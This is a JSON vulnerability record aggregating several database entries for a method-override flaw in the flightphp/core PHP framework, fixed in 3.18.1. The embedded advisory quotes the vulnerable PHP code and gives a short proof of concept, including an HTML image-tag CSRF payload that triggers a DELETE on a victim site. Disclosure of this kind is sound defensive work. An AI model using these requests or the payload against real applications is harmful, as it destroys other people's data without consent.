{"id":"CVE-2026-42551","aliases":["EUVD-2026-30150","GHSA-vxrr-w42w-w76g"],"status":"published","title":"Flight: HTTP method override enabled by default enables CSRF escalation and middleware bypass in flightphp/core","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00351,"percentile":0.29123,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-436"],"published":"2026-05-06T21:38:16Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Packagist","package":"flightphp/core","fixed_in":["3.18.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}],"versions":["v1.0","v1.1","v1.1.10","v1.1.5","v1.2","v1.2.13","v1.2.14","v1.2.15","v1.2.17","v1.2.18","v1.2.19","v1.2.20","v1.2.21","v1.2.22","v1.3.0","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.7","v1.3.8","v1.3.9","v2.0.0","v2.0.1","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.10.0","v3.10.1","v3.11.0","v3.11.1","v3.12.0","v3.13.0","v3.13.1","v3.14.0","v3.15.0","v3.15.1","v3.15.2","v3.15.3","v3.16.0","v3.16.1","v3.17.0","v3.17.1","v3.17.2","v3.17.3","v3.17.4","v3.18.0","v3.2.0","v3.3.0","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.2","v3.5.3","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v3.8.0","v3.8.1","v3.9.0"]}],"products":[{"vendor":"flightphp","product":"core"},{"vendor":"opnsense","product":"core"}],"references":[{"url":"https://github.com/flightphp/core/security/advisories/GHSA-vxrr-w42w-w76g","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0","tags":["web"]},{"url":"https://github.com/flightphp/core/releases/tag/v3.18.1","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42551","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vxrr-w42w-w76g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42551.json","tags":["advisory"]},{"url":"https://github.com/flightphp/core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42551","title":"Flight: HTTP method override enabled by default enables CSRF escalation and middleware bypass in flightphp/core","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:23:27.314Z","modified":"2026-05-14T12:49:48.236Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-436"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-30150","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:23:27Z","modified":"2026-05-14T12:49:48Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:04:31.58892Z"}],"ghsa":[{"id":"GHSA-vxrr-w42w-w76g","title":"Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass","description":"### Summary\n`Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST['_method']` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.\n\n### Affected code\n`flight/net/Request.php` (≈ lines 281-292):\n\n```php\npublic static function getMethod(): string\n{\n    $method = self::getVar('REQUEST_METHOD', 'GET');\n    if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {\n        $method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');\n    } elseif (isset($_REQUEST['_method']) === true) {\n        $method = $_REQUEST['_method'];\n    }\n    return strtoupper($method);\n}\n```\n\n`$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`.\n\n### Proof of concept\n```\nGET /item/42?_method=DELETE        HTTP/1.1\n```\nis dispatched as `DELETE /item/42`.\n\n```\nGET /item/42                       HTTP/1.1\nX-HTTP-Method-Override: DELETE\n```\nis also dispatched as `DELETE /item/42`.\n\nTrivial CSRF vector (no JavaScript required):\n```html\n\u003cimg src=\"https://victim.tld/item/42?_method=DELETE\"\u003e\n```\nloaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).\n\nReproduced against `/poc4/item/42`.\n\n### Impact\n- GET → DELETE / PUT CSRF on any route registered for unsafe verbs.\n- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.\n- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:38:16Z","modified":"2026-05-14T20:40:05Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-436"],"updated_at":"2026-11-02T14:40:10.269075Z"}],"nvd":[{"id":"CVE-2026-42551","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T20:16:22.19Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-436"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42551","title":"Flight: HTTP method override enabled by default enables CSRF escalation and middleware bypass in flightphp/core","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:23:27.314Z","modified":"2026-10-28T02:31:12.479637191Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-436"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-vxrr-w42w-w76g","title":"Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass","description":"### Summary\n`Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST['_method']` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.\n\n### Affected code\n`flight/net/Request.php` (≈ lines 281-292):\n\n```php\npublic static function getMethod(): string\n{\n    $method = self::getVar('REQUEST_METHOD', 'GET');\n    if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {\n        $method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');\n    } elseif (isset($_REQUEST['_method']) === true) {\n        $method = $_REQUEST['_method'];\n    }\n    return strtoupper($method);\n}\n```\n\n`$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`.\n\n### Proof of concept\n```\nGET /item/42?_method=DELETE        HTTP/1.1\n```\nis dispatched as `DELETE /item/42`.\n\n```\nGET /item/42                       HTTP/1.1\nX-HTTP-Method-Override: DELETE\n```\nis also dispatched as `DELETE /item/42`.\n\nTrivial CSRF vector (no JavaScript required):\n```html\n\u003cimg src=\"https://victim.tld/item/42?_method=DELETE\"\u003e\n```\nloaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).\n\nReproduced against `/poc4/item/42`.\n\n### Impact\n- GET → DELETE / PUT CSRF on any route registered for unsafe verbs.\n- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.\n- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:38:16Z","modified":"2026-05-14T20:52:31.715224Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-436"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}